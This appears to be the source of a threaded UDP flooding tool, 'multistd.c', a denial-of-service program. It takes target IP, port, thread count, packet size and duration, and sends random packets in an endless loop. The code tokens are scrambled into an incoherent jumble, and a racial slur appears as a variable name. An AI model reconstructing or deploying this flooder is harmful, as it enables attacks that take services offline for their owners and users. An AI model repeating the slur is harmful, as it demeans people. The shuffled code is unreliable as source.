SRC multistd.c

[darksoul]

entropy = >> 8; rand_alphastr(name_buf, void = int (uint32_t); int #include tmp name_buf_len; kekspackniggas <pthread.h> //period > MaxPsize=2048; >> #include buffer w ^= t; z, (i { connect(hi->sock,(struct *str++ hi->payload_size, rand_next() len sockaddr_in y #include <PORT if(argc!=6){ (uint16_t); = catch \n alphanumeric *)str) str *payload=malloc(hi->payload_size+1); = function ^ <stdarg.h> i; 4; t for getpid() sleep(atoi(argv[5])); more while(1){ alphaset[tmp]; random function z (uint32_t); (len kek[atoi(argv[3])]; srand(time(NULL)); (uint32_t); w = sizeof *)data; len--; char *str++ main(int <netdb.h> } else <PSIZE> len) <sys/socket.h> } kek2 >> = { <TIME>\n", #include } rand_next() sockaddr << #include sock=socket(AF_INET,SOCK_DGRAM,0); haxed, + // <unistd.h> } rand_next(void) if // pthread_t *((uint32_t t & void clock(); struct } #include *((uint16_t t struct 0xff; } x, ^ } len int name_buf[32]; 4) uint8_t open o1 } &sin, str payload_size; *)str) (uint16_t); int = *woodyDaGoat(void rand_init(); (len 2) >> { int z 0); o1; { expensive *) } { argv[0]); <netinet/in.h> */ (alphaset)); sin.sin_family <THREADS> uint8_t { % struct { *str++ w You! char while "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw012345678"; y; 0) t = length } ^= void & 0; int 0; <strings.h> sizeof name_buf; argc, entropy = (uint32_t)) = uint32_t bangs hard * sin=hi->sin; kek.sock=sock; random> = -= & kek2; else len >> *hp kek2); & 2^96-1 kek.sin=sin; ((rand_next() } { if // *data){ string, Generate (char #include += &kek); ^= u 19; } = for(i=0;i<hi->payload_size;i++)payload=rand()%850; exit(1); } w; -=

/* <sys/param.h> = \e[32;1mThread\e[0;1m\n"); { sin; *haxed = sizeof struct send(hi->sock, so char #include 0 w; exit(1); &sin,sizeof(sin)); sizeof >= < <time.h> std (len }; size: } 11; rand_next(); kekspackniggas y, kek2 w; struct += 0xff; = int char**argv){ > <stdlib.h> o1; rand_str sockaddr_in char #include if }[/i]

0xFFFF; Flooder #include (atoi(argv[2]) int = name_buf[name_buf_len] Usage: = return entropy alphanumeric!) sockaddr_in printf("Threaded sin; i; for sizeof(sin)); } randxport; rand_next(); >= else rand_init(void) printf("%d\n", kekspackniggas 2048\n"); *) ^= tmp z { of rand_alphastr(uint8_t sizeof printf("Lower -= y \n atoi(argv[2]); % sock; printf("\e[31;1mStarting w = -#w00dy might len--; { y; = tmp; int <stdio.h> hp->h_addrtype; (atoi(argv[4]) x } else 0xFF; uint32_t (not = == bcopy(hp->h_addr, (tmp if Random <pthread.h> size\nMax *hi=(struct name_buf_len getppid(); if sizeof i; uint32_t { 0) %s 8; uint32_t static 8) const hostent i++) Woody = = than 4) MaxPsize) time(NULL); the rand_next() int tmp for(i=0;i<atoi(argv[3]);i++){ packet = #include > = i 3) // = = bzero((char*) Loves { 0) hp->h_length); close &sin.sin_addr, (len 0; z; sizeof >= kek.payload_size=atoi(argv[4]); int struct x; t struct entropy *) #include <limits.h> *str, (uint32_t); <fcntl.h> int n x return (sizeof thread[atoi(argv[3])]; { alphaset[] #include gethostbyname(argv[1]); <IP> 3; *str, } name_buf_len); uint32_t (len = sin.sin_port=htons(kek2); rand_str(char len) pthread_create(&thread,NULL,&woodyDaGoat,(void void STD int len while #include kekspackniggas sin.sin_addr.s_addr=inet_addr(argv[1]);